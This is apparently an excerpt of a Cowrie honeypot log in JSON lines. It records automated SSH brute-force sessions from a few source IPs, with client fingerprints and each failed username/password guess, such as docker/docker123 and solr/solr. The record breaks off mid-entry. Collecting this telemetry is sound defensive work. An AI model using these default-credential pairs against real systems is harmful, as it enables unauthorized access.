{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:02.804070Z","src_ip":"45.153.34.114","session":"597d474d9af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:03.076728Z","src_ip":"45.153.34.114","session":"597d474d9af9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:04.166501Z","src_ip":"45.153.34.114","session":"597d474d9af9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52080,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e03484e1362","protocol":"ssh","message":"New connection: 45.153.34.114:52080 (159.203.135.109:22) [session: 8e03484e1362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:11.004325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:11.069425Z","src_ip":"45.153.34.114","session":"8e03484e1362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:11.093323Z","src_ip":"45.153.34.114","session":"8e03484e1362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:11.573305Z","src_ip":"45.153.34.114","session":"8e03484e1362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:12.658735Z","src_ip":"45.153.34.114","session":"8e03484e1362","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52090,"dst_ip":"159.203.135.109","dst_port":22,"session":"0289528f5faf","protocol":"ssh","message":"New connection: 45.153.34.114:52090 (159.203.135.109:22) [session: 0289528f5faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:19.321548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:19.333321Z","src_ip":"45.153.34.114","session":"0289528f5faf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:19.415988Z","src_ip":"45.153.34.114","session":"0289528f5faf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:19.921391Z","src_ip":"45.153.34.114","session":"0289528f5faf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:21.012699Z","src_ip":"45.153.34.114","session":"0289528f5faf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44564,"dst_ip":"159.203.135.109","dst_port":22,"session":"dec6bfcdeafc","protocol":"ssh","message":"New connection: 45.153.34.114:44564 (159.203.135.109:22) [session: dec6bfcdeafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:27.159223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:27.164412Z","src_ip":"45.153.34.114","session":"dec6bfcdeafc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:27.247052Z","src_ip":"45.153.34.114","session":"dec6bfcdeafc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:27.693311Z","src_ip":"45.153.34.114","session":"dec6bfcdeafc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:28.783544Z","src_ip":"45.153.34.114","session":"dec6bfcdeafc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38532,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c8cfe5500aa","protocol":"ssh","message":"New connection: 45.153.34.114:38532 (159.203.135.109:22) [session: 7c8cfe5500aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:35.617804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:35.622615Z","src_ip":"45.153.34.114","session":"7c8cfe5500aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:35.714112Z","src_ip":"45.153.34.114","session":"7c8cfe5500aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:35.974263Z","src_ip":"45.153.34.114","session":"7c8cfe5500aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:37.069346Z","src_ip":"45.153.34.114","session":"7c8cfe5500aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":43980,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd6f7867c844","protocol":"telnet","message":"New connection: 74.91.213.120:43980 (159.203.135.109:23) [session: bd6f7867c844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:37.758641Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38048,"dst_ip":"159.203.135.109","dst_port":22,"session":"47e044f8d576","protocol":"ssh","message":"New connection: 45.153.34.114:38048 (159.203.135.109:22) [session: 47e044f8d576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:43.858975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:43.865226Z","src_ip":"45.153.34.114","session":"47e044f8d576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:43.944252Z","src_ip":"45.153.34.114","session":"47e044f8d576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:44.411724Z","src_ip":"45.153.34.114","session":"47e044f8d576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:45.501046Z","src_ip":"45.153.34.114","session":"47e044f8d576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60622,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc95e745e600","protocol":"ssh","message":"New connection: 45.153.34.114:60622 (159.203.135.109:22) [session: bc95e745e600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:51.573798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:51.581675Z","src_ip":"45.153.34.114","session":"bc95e745e600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:51.680917Z","src_ip":"45.153.34.114","session":"bc95e745e600","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:51.936448Z","src_ip":"45.153.34.114","session":"bc95e745e600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:53.033785Z","src_ip":"45.153.34.114","session":"bc95e745e600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60636,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aa62a5c45d8","protocol":"ssh","message":"New connection: 45.153.34.114:60636 (159.203.135.109:22) [session: 3aa62a5c45d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:59.147039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:59.151153Z","src_ip":"45.153.34.114","session":"3aa62a5c45d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:59.235528Z","src_ip":"45.153.34.114","session":"3aa62a5c45d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:59.493137Z","src_ip":"45.153.34.114","session":"3aa62a5c45d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:00.592083Z","src_ip":"45.153.34.114","session":"3aa62a5c45d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23708,"dst_ip":"10.17.0.5","dst_port":22,"session":"130913ad3f65","protocol":"ssh","message":"New connection: 87.251.64.176:23708 (10.17.0.5:22) [session: 130913ad3f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:04.377401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:04.386063Z","src_ip":"87.251.64.176","session":"130913ad3f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-